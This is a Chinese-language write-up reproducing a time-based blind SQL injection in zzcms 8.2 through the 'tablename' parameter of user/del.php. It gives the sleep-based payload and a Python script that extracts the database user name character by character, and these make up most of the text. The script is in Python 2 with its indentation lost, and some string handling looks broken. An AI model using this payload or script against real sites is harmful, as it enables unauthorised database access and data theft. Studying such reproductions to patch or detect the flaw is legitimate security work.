zzcms8.2 sql注入漏洞复现
一.环境搭建
1.下载地址(小伙子下的是产品版的)
http://www.zzcms.net/
2.安装,直接解压到网站根目录下,访问install目录
3.注入点user/del.php分析
在代码第12行,参数通过Post提交
在代码的136行里,参数tablename没有进行过滤
我们就是利用这个可控的参数进行注入
4.payload构造
这里是一个删除页面,所以必须要有东西存在才会触发,这里小伙子先发布一个代理,让这个东西是存在的
通过数据库查看这条数据是属于zzcms_dl这个表的
现在构造payload如下:
id=1&tablename=zzcms_dl where id = 1 and if(1=1,sleep(5),1)%23
成功延迟5秒,说明注入点存在
5.由于是延时注入,所以选择利用python小脚本跑,代码如下:
import requests
import time
payloads = '[email protected]_.'
user = ''
for i in range(1,25):
url = "http://localhost:6868/user/del.php"
startTime = time.time()
post_data = "id=1&tablename=zzcms_dl where id = 1 and if(length(user())=" + str(i) + ",sleep(5),1)%23".encode("utf-8")
response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} )
b=time.time() - startTime
if b > 5:
print i
break
for j in range(1, i+1):
for payload in payloads:
url = "http://localhost:6868/user/del.php"
startTime = time.time()
post_data = "id=1&tablename=zzcms_dl where id = 1 and if((ascii(substr(user(),"+str(j)+",1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} )
if time.time() - startTime > 5:
user = user + payload
print 'user is:', user
break
注:这里只写了爆当前用户的脚本
感谢各位大佬赏脸,有什么不足的地方请多多指教,欢迎意见轰炸,谢谢!!!